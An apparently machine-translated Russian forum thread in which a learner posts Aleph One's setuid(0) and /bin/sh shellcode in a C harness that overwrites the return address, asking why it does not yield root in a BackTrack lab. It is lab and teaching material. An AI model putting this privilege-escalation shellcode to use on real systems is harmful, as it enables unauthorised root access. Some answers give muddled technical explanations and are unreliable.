У меня есть этот код .... Этический взлом

Question

Я следую этой EBook об этическом взломе, и я дошел до Linux Exploit Chapter, это код с кодом Алефа 1.

//shellcode.c 

char shellcode[] = //setuid(0) & Aleph1's famous shellcode, see ref. 

"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" //setuid(0) first 

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" 

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" 

"\x80\xe8\xdc\xff\xff\xff/bin/sh"; 

int main() { //main function 

    int *ret; //ret pointer for manipulating saved return. 

    ret = (int *)&ret + 2; //setret to point to the saved return 

    //value on the stack. 

    (*ret) = (int)shellcode; //change the saved return value to the 

    //address of the shellcode, so it executes. 

} 

Я даю это супер привилегии пользователя, с

chmod u+s shellcode 

как супер-пользователь, а затем вернуться к обычному пользователю с

su - normal_user 

, но когда я бегу ./shellcode я должен быть пользователь root, но вместо этого я по-прежнему являюсь normal_user , так что любая помощь ?? btw Я работаю над BT4-Final, я отключил ASLR и запускаю BT4 в VMWare ...

Answer 1

Является ли shellcode исполняемым файлом, принадлежащим root? Биты setuid (u + s) делают исполняемый файл с привилегиями его владельцем, который не обязательно является root.

Answer 2

Ну, setuid() изменяет пользователя на текущую программу. Ваша оболочка будет работать под вашим обычным пользователем! :)

Либо это, либо я не понимаю эту цель взлома.

Answer 3

I setuid только устанавливает uid на 0 во время работы программы. Можете ли вы выполнить некоторую операцию по проверке UID во время работы шеллкода?

Answer 4

Если это старый эксплойт ... Разве это уже давно не было исправлено?

Кстати, как личный совет: не будьте настолько хромым, чтобы использовать это прозвище, а затем обойти вопрос об эксплойтах.

Answer 5

Если я правильно, код, который вы выполняете (УИП (0)) представляет собой системный вызов, который изменяет текущий пользователь к корню. Уловка заключается в том, что он меняет текущий идентификатор пользователя на этот процесс, предоставляя ему полномочия root. Если он работает, вы можете запускать все с привилегиями root.

Чтобы проверить это, создайте файл или каталог с корнем, убедитесь, что вы не можете удалить его как простой пользователь, а затем попробуйте добавить код в исполняемый файл, который удаляет файл. Если код работает, файл следует удалить.

Затем, чтобы получить корневые ресурсы, попробуйте развить новую оболочку из вашей программы. Хотя я не уверен, что это возможно.

... однако, это старый подвиг. Старые ядра могут быть открыты для этого, но использование любой недавней версии ничего не сделает.

UPDATE: Я только что перечитал код и понял, что вызов оболочки есть (/ bin/sh), поэтому вы уже открываете для предполагаемой оболочки суперпользователя. Чтобы проверить, действительно ли он работает, см. PID вашей оболочки до и после вызова. Если он изменился, выйдите из оболочки, вы должны вернуться к предыдущему PID. Это означает, что (1) это сработало, вы манипулировали стеком и выполняли этот код там, и (2) эксплойт исправлен, и ядро ​​не позволяет вам получить доступ.